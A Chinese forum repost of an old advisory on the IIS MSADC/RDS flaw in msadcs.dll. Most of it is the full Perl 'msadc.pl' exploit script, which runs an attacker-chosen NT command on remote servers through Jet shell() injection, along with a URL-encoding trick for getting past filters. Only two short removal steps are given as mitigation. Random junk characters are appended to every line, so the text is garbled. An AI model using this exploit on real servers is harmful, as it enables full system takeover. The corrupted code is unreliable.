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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) #`%S[)RT  
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涉及程序: h@ ZC{B  
Microsoft NT server O_th/hl  
[qkW/qS  
描述: d$+0 ;D4E  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 dJ])`S  
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详细: 9 4lt?|3=  
如果你没有时间读详细内容的话,就删除: XfMUodV-OZ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll <'sm($.2  
有关的安全问题就没有了。 %_p]6doF  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4[;}/-  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P~:^bU^F7  
关于利用ODBC远程漏洞的描述,请参看: T8&sPt,f  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xg_l4!T_l  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 N!dBF t"  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp G@jx&#v  
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这里不再论述。 Bt$,=k  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .:Wp9M  
`<<9A\Y-f  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset >>C S8  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! zlQBBm;fE  
Rb:?%\=  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" Ic!x y  
2Y[n  
#!perl Y*#TfWv:  
# ls9Y?  
# MSADC/RDS 'usage' (aka exploit) script y<R5}F  
# Da6l =M  
# by rain.forest.puppy |)%H_TXTy  
# 46\!W(O~y  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me '4~I %Z7L  
# beta test and find errors! a"g\f{v0AR  
zn^ G V  
use Socket; use Getopt::Std; Rh ]XJM  
getopts("e:vd:h:XR", \%args); Qu8=zI>t  
ZDI?"dt{  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; O6b+eS  
?LU>2!jN  
if (!defined $args{h} && !defined $args{R}) { V7gL*,3>=  
print qq~ eUR+j?5I  
Usage: msadc.pl -h <host> { -d <delay> -X -v } N;!!*3a9=  
-h <host> = host you want to scan (ip or domain) awz.~c++  
-d <seconds> = delay between calls, default 1 second u:W/6QS  
-X = dump Index Server path table, if available l>s@&%;Mg  
-v = verbose yn(bW\  
-e = external dictionary file for step 5 }>621L3 -  
+N2ILE8[<  
Or a -R will resume a command session g@/}SJh/>  
IFa~`Gf[  
~; exit;} xy&*s\=:  
wzoT!-_X  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Rd]<591  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} NzM,0q  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} L|-|DOgw  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^4\0, >  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} e(b$LUV  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } r6aIW8  
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if (!defined $args{R}){ $ret = &has_msadc; b~YIaD[Z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} U-,s/VQ?  
toOdL0hCe  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" hV) `e"r\s  
. "cmd /c "; N;>s|ET  
$in=<STDIN>; chomp $in; SXJjagAoML  
$command="cmd /c " . $in ; 7,alZ"%W  
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if (defined $args{R}) {&load; exit;} fN<Y3^i"  
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print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; V;J3lV<  
&try_btcustmr; /"~UGn]R  
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print "\nStep 2: Trying to make our own DSN..."; "<)Jso|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  OmfHr lA  
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print "\nStep 3: Trying known DSNs..."; .We{W{  
&known_dsn; c_.Fe'E  
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print "\nStep 4: Trying known .mdbs..."; :+ 1Wmg  
&known_mdb; $ZB`4!JxG  
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if (defined $args{e}){ ZU z7h^3@  
print "\nStep 5: Trying dictionary of DSN names..."; Au(oKs<  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } wPcEvGBN=  
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print "Sorry Charley...maybe next time?\n"; \,v+ejhw  
exit; 2<w vO 9  
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############################################################################## @" umY-1f  
,69547#o  
sub sendraw { # ripped and modded from whisker 8=0I4\  
sleep($delay); # it's a DoS on the server! At least on mine... :LdPqFXj  
my ($pstr)=@_; EUV8H}d5  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || &=:3/;c  
die("Socket problems\n"); o Qo5y_o~  
if(connect(S,pack "SnA4x8",2,80,$target)){ &Ll&A@yU  
select(S); $|=1; p_EM/jI,  
print $pstr; my @in=<S>; Wfc~"GQq4  
select(STDOUT); close(S); a <F2]H=J  
return @in; 0B}2~}#  
} else { die("Can't connect...\n"); }} 0O]v|  
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############################################################################## "oF)u1_?  
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sub make_header { # make the HTTP request J ^<uo (  
my $msadc=<<EOT 88?O4)c  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 &rX#A@=  
User-Agent: ACTIVEDATA C[#C/@  
Host: $ip dq'f >S z}  
Content-Length: $clen 3Z#WAhfS:  
Connection: Keep-Alive ?*7Mn`  
'^$+G0jv  
ADCClientVersion:01.06 @^ m0>H  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 "{t]~urLd  
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--!ADM!ROX!YOUR!WORLD! yg~@} _C2_  
Content-Type: application/x-varg ~ ^   
Content-Length: $reqlen [/n@BK  
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EOT }owl7G3  
; $msadc=~s/\n/\r\n/g; m_`%#$s}  
return $msadc;} 'lu3BQvfh  
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############################################################################## S QGYH  
{I?)ODx7qC  
sub make_req { # make the RDS request HXZ,"S  
my ($switch, $p1, $p2)=@_; O.xtY @'"  
my $req=""; my $t1, $t2, $query, $dsn; /Bh*MH  
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if ($switch==1){ # this is the btcustmr.mdb query &CN(PZv  
$query="Select * from Customers where City=" . make_shell(); $p$p C/:%  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . iJmzVR+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} x.] tGS  
jcBZ#|B7;  
elsif ($switch==2){ # this is general make table query n5IQKYr g  
$query="create table AZZ (B int, C varchar(10))"; Z{yH:{Vk  
$dsn="$p1";} ?N!kYTR%}  
~#}T|  
elsif ($switch==3){ # this is general exploit table query 8VO]; +N  
$query="select * from AZZ where C=" . make_shell(); K(d+t\ca  
$dsn="$p1";} ~<_WYSzS  
~vM99hW  
elsif ($switch==4){ # attempt to hork file info from index server }@tgc?C D  
$query="select path from scope()"; > '. : Acn  
$dsn="Provider=MSIDXS;";} =_ b/ g  
j|!t3}((  
elsif ($switch==5){ # bad query d2-oy5cEB  
$query="select"; lmL$0{Yr  
$dsn="$p1";} W}MN-0  
?A*!rW:l;  
$t1= make_unicode($query); P~iZae  
$t2= make_unicode($dsn); ',LC!^:~Nw  
$req = "\x02\x00\x03\x00"; "dvo@n|  
$req.= "\x08\x00" . pack ("S1", length($t1)); hCd? Kti  
$req.= "\x00\x00" . $t1 ; eR6vO5to  
$req.= "\x08\x00" . pack ("S1", length($t2)); lCl5#L9  
$req.= "\x00\x00" . $t2 ; w&Gc#-B  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; V{A`?Jl6{  
return $req;} Qf}.=(  
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############################################################################## uKvdL "  
X;l/D},.  
sub make_shell { # this makes the shell() statement i*@PywT"i3  
return "'|shell(\"$command\")|'";} woBx609Aak  
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############################################################################## ;z N1Qb  
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sub make_unicode { # quick little function to convert to unicode vZ.<OD4  
my ($in)=@_; my $out; BOq9\g`5s  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } P?P.QK  
return $out;} %b4tyX:N0  
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############################################################################## a_?b <  
R*6B@<p,i  
sub rdo_success { # checks for RDO return success (this is kludge) .5}Gt>4XM  
my (@in) = @_; my $base=content_start(@in); 57gt"f  
if($in[$base]=~/multipart\/mixed/){ .Y^cs+-o  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} c:>&YGmhu  
return 0;} V %D1Q}X  
nb<oo:^  
############################################################################## *h3iAcM8  
K5 BL4N  
sub make_dsn { # this makes a DSN for us #d-zH:uq  
my @drives=("c","d","e","f"); &vn2u bauS  
print "\nMaking DSN: "; +`g&hO\W  
foreach $drive (@drives) { '=#fELMW  
print "$drive: "; U"+W)rUd  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 0.w7S6v|&  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ^+CHp(X  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ~!8j,Bqs+z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; QKlsBq  
return 0 if $2 eq "404"; # not found/doesn't exist b.@4yW  
if($2 eq "200") { m_@XoS yxI  
foreach $line (@results) { *pv<ZF0>  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} : MjDcI~  
} return 0;} ov;^ev,(  
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############################################################################## c"Vp5lo0  
Ro"'f7(v.  
sub verify_exists { PoPR34] ^J  
my ($page)=@_; jlU6keZh`  
my @results=sendraw("GET $page HTTP/1.0\n\n"); :Q ]"dbY^  
return $results[0];} ^7YNM<_%@  
)Se$N6u-  
############################################################################## m;MJ{"@A'  
Z${eDl6i  
sub try_btcustmr { [YHtBM:y  
my @drives=("c","d","e","f"); ; teM^zyI  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qxu3y+po]  
\U>&W  
foreach $dir (@dirs) { 3]mprX'  
print "$dir -> "; # fun status so you can see progress T]-MrnO  
foreach $drive (@drives) { [xr^t1  
print "$drive: "; # ditto $8%"bR;Hu  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Y<irNp9   
$reqlenlen=length( "$reqlen" ); f pq|mY  
$clen= 206 + $reqlenlen + $reqlen; -n"wXOx3  
oeZuvPCl  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); %N fpEo  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} /:(A9b-B  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} t(uvc{K *  
x;z=[eE  
############################################################################## :=ek~s.UV  
9*ZlNZ  
sub odbc_error { >$L7J=Em  
my (@in)=@_; my $base; 1(IZ,*i  
my $base = content_start(@in); Hxgc9Fis  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this  #O\as~-  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; z06,$OYz  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !W@mW 5J|  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; o9"?z  
return $in[$base+4].$in[$base+5].$in[$base+6];} -kMw[Y  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; x0(bM g>7  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2*z~ 'i  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} oYZ  4F  
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############################################################################## 0r1GGEW`s  
Z,E$4Z  
sub verbose { 6` TwP\!$/  
my ($in)=@_; cVL|kYVWT  
return if !$verbose; "}*D,[C5e  
print STDOUT "\n$in\n";} K8X7IE  
`7: uc@  
############################################################################## 8lYA6A  
{Fw"y %a^  
sub save { Jp]?tlT  
my ($p1, $p2, $p3, $p4)=@_; Lxv4w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; _Ik?WA_;  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; S1U0sP@o  
close OUT;} ^py=]7[I  
rBTg"^jsw  
############################################################################## {jB> ]7  
T3{~f  
sub load { <7\j\`  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ]wU/yc)e  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); [StnKQ?"wz  
@p=<IN>; close(IN); CE`]X;#y  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Yjc U2S"=P  
$target= inet_aton($ip) || die("inet_aton problems"); l1DJ<I2  
print "Resuming to $ip ..."; M8X6!"B$Y  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; OVi < d  
if($p[1]==1) { AF{uFna  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 4@{c K|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; rC^ 5Z  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 3LLG#l )8  
if (rdo_success(@results)){print "Success!\n";} =6Ok4Z  
else { print "failed\n"; verbose(odbc_error(@results));}} 5 :IDl1f5  
elsif ($p[1]==3){ :$b` n  
if(run_query("$p[3]")){ //2O#Fg{/  
print "Success!\n";} else { print "failed\n"; }} ]|CcQ1#|H  
elsif ($p[1]==4){ l&+O*=#Hh  
if(run_query($drvst . "$p[3]")){ 1Q(KZI  
print "Success!\n"; } else { print "failed\n"; }} );d07\V  
exit;} A4,{ep'Z!  
z1Ieva]  
############################################################################## MrHJ)x"hy  
*pwkv7Z h  
sub create_table { ^Qx?)(@  
my ($in)=@_; 8)1q,[:M  
$reqlen=length( make_req(2,$in,"") ) - 28; Ow/,pC >V  
$reqlenlen=length( "$reqlen" ); W:RjWn@<  
$clen= 206 + $reqlenlen + $reqlen; KBB)xez8  
my @results=sendraw(make_header() . make_req(2,$in,"")); ?0/$RpFEM#  
return 1 if rdo_success(@results); ~ps,U  
my $temp= odbc_error(@results); verbose($temp); y<FC7  
return 1 if $temp=~/Table 'AZZ' already exists/; c36p+6rJk=  
return 0;} 47Z3 nl?  
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############################################################################## #]jl{K\f#X  
aG }oI!  
sub known_dsn { a -Pz<*  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 9?,i+\)qK@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", T-a>k.}y  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", "++\6 H<  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); NF8<9  
,<%uG6/",g  
foreach $dSn (@dsns) { xkDK5&V  
print "."; p$ \>3\  
next if (!is_access("DSN=$dSn")); 2V)+ ba|+  
if(create_table("DSN=$dSn")){ Gf"TI:xa  
print "$dSn successful\n"; Xb%Q%"?~  
if(run_query("DSN=$dSn")){ Wm6qy6HR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { fG'~@'P~  
print "Something's borked. Use verbose next time\n";}}} print "\n";} VG 5*17nf5  
zfKO)Itd  
############################################################################## ts,r,{  
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sub is_access { P'qBqx[  
my ($in)=@_; ;-VZVp}Y  
$reqlen=length( make_req(5,$in,"") ) - 28; V gMgeja  
$reqlenlen=length( "$reqlen" ); pZ>yBY?R8>  
$clen= 206 + $reqlenlen + $reqlen; z+yq%O  
my @results=sendraw(make_header() . make_req(5,$in,"")); q|<B9Jk  
my $temp= odbc_error(@results); v`,!wS  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); -NJpql{Cb  
return 0;} t/;0/ql\  
|qMG@  
############################################################################## 5c]:/9&  
1@p,   
sub run_query { $b|LZE\bU.  
my ($in)=@_; + kMj|()>\  
$reqlen=length( make_req(3,$in,"") ) - 28; :u,.(INB  
$reqlenlen=length( "$reqlen" ); D:Q#%wJ  
$clen= 206 + $reqlenlen + $reqlen; Vq+7 /+2"  
my @results=sendraw(make_header() . make_req(3,$in,"")); R)66qRf  
return 1 if rdo_success(@results); ^Ye(b7Gd  
my $temp= odbc_error(@results); verbose($temp); Br9j)1;  
return 0;} <Ja&z M  
1+Gq<]@G  
############################################################################## T]wI)  
1M&Lb. J6  
sub known_mdb { >Y08/OAI.2  
my @drives=("c","d","e","f","g"); jl P*RX  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Sh!c]r>\Q  
my $dir, $drive, $mdb; L4Jm8sy{  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; \B4H0f  
id:,\iJ  
# this is sparse, because I don't know of many yo#r^iAr  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ] x)>q  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", lV^#[%  
"\\system32\\certmdb.mdb", R/v|ZvI  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% u&I c  
HZAT_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 'l^Bb#)"  
"\\cfusion\\cfapps\\forums\\forums_.mdb", t?>}0\1  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", -E|"?  
"\\cfusion\\cfapps\\security\\realm_.mdb", QWOPCoUet  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", <5E'`T  
"\\cfusion\\database\\cfexamples.mdb", ch8VJ^%Ra1  
"\\cfusion\\database\\cfsnippets.mdb", #4m5 I="  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", w317]-n  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3`reXms*{  
"\\cfusion\\brighttiger\\database\\cleam.mdb", r[!~~yu/o  
"\\cfusion\\database\\smpolicy.mdb",  )58O9b  
"\\cfusion\\database\cypress.mdb", \]<R`YMV  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", /=;,lC  
"\\website\\cgi-win\\dbsample.mdb", Z(6.e8fK  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", tAN!LI+w  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c]E pg)E  
); #these are just f DXK<v)  
foreach $drive (@drives) { 73X*|g  
foreach $dir (@dirs){ ^}~Q(ji7  
foreach $mdb (@sysmdbs) { hOB<6Tm[  
print "."; n' mrLZw  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ SEI0G_wk$  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; fsjLD|?|:  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ i[KXkjr  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; q#3T L<  
} else { print "Something's borked. Use verbose next time\n"; }}}}} r:V bjmL  
L!xFhVA<  
foreach $drive (@drives) { Q(f0S  
foreach $mdb (@mdbs) { Dh`&B   
print "."; _5 SvZ;4  
if(create_table($drv . $drive . $dir . $mdb)){ aaU4Jl?L  
print "\n" . $drive . $dir . $mdb . " successful\n"; N%f"W&ci  
if(run_query($drv . $drive . $dir . $mdb)){ #-YbZ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ?-c|c_|$  
} else { print "Something's borked. Use verbose next time\n"; }}}} t, %m-dU  
} c-hc.i}!  
"^z%|uXkf  
############################################################################## 8)8~c@  
ZOfv\(iJ;  
sub hork_idx { M@es8\&S.  
print "\nAttempting to dump Index Server tables...\n"; X>7Pqn'  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; N-2#-poDe  
$reqlen=length( make_req(4,"","") ) - 28; 'df@4}9  
$reqlenlen=length( "$reqlen" ); >Y4^<!\v  
$clen= 206 + $reqlenlen + $reqlen; YA@?L!F  
my @results=sendraw2(make_header() . make_req(4,"","")); :4zPYG o  
if (rdo_success(@results)){ lknj/i5L  
my $max=@results; my $c; my %d; %BC%fVdP  
for($c=19; $c<$max; $c++){ SlB`ktcfI  
$results[$c]=~s/\x00//g; a&G{3#l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; N>3{!K>/Y:  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; R7rM$|n=o  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; d"n>Q Tn\  
$d{"$1$2"}="";} PV,Z@qm@^  
foreach $c (keys %d){ print "$c\n"; } PFpFqJ)Cs"  
} else {print "Index server doesn't seem to be installed.\n"; }} dsw^$R}   
E&J<qTH9  
############################################################################## G)~>d/  
4Vi*Qa_,y  
sub dsn_dict { =b$g_+  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 7Z2D}O +  
while(<IN>){ w aniCE o  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; EC$F|T0f  
next if (!is_access("DSN=$dSn")); {Yxvb**  
if(create_table("DSN=$dSn")){ QswPga(-  
print "$dSn successful\n";  je$H}D  
if(run_query("DSN=$dSn")){ ~Zsj@d  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #8t=vb3  
print "Something's borked. Use verbose next time\n";}}} XwEMF5[  
print "\n"; close(IN);} hub]M  
Ch?yk^cY  
############################################################################## iyCH)MA  
x=rMjz-`_  
sub sendraw2 { # ripped and modded from whisker EB&hgz&_  
sleep($delay); # it's a DoS on the server! At least on mine... MX~h>v3_R4  
my ($pstr)=@_; \ &|xMw[  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || qWK}  
die("Socket problems\n"); ]uhG&: }  
if(connect(S,pack "SnA4x8",2,80,$target)){ vULDKJNHX  
print "Connected. Getting data"; xKL(:ePS  
open(OUT,">raw.out"); my @in; ]u|FcwWc3  
select(S); $|=1; print $pstr; I*U7YqDC9  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} !N+{X\+  
close(OUT); select(STDOUT); close(S); return @in; DOtz  
} else { die("Can't connect...\n"); }} H$?MPA-c  
W:<2" &7  
############################################################################## g&/lyQ+G  
"n3n-Y#'  
sub content_start { # this will take in the server headers #vK99 S2  
my (@in)=@_; my $c; EIzTbW{p  
for ($c=1;$c<500;$c++) { e?(4lD)d  
if($in[$c] =~/^\x0d\x0a/){ O~8jz  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ){/n7*#Th%  
else { return $c+1; }}} t_I-6`8o]  
return -1;} # it should never get here actually nZj&Ma7R  
pDP* 3  
############################################################################## 6$PQ$  
=^M Q 4  
sub funky { _Rj bm'kC  
my (@in)=@_; my $error=odbc_error(@in); xM)P=y_!M+  
if($error=~/ADO could not find the specified provider/){ Se??E+aX  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; " ?aE3$/  
exit;} W{JR%Sq$  
if($error=~/A Handler is required/){ |LIcq0Z  
print "\nServer has custom handler filters (they most likely are patched)\n"; q) 5s'(  
exit;} i|H^&$|  
if($error=~/specified Handler has denied Access/){ ii`,cJl  
print "\nServer has custom handler filters (they most likely are patched)\n"; 'O~_g5kC  
exit;}} De$Ic"Z9L  
D_F1<q  
############################################################################## # .&t'"u  
9_*3xu<7i  
sub has_msadc { ~]%re9jGW  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); rr1,Ijh{D  
my $base=content_start(@results); %QDAog  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); }}Q h_(  
return 0;} _JpTHpqu  
 w D  
########################  [Ketg  
C.=%8|Zy  
F$v^S+Ch  
解决方案: cPL6(&7  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll l}S96B  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 suX^"Io%!  
H-& ktQWK3  
拿出来充数 哈哈
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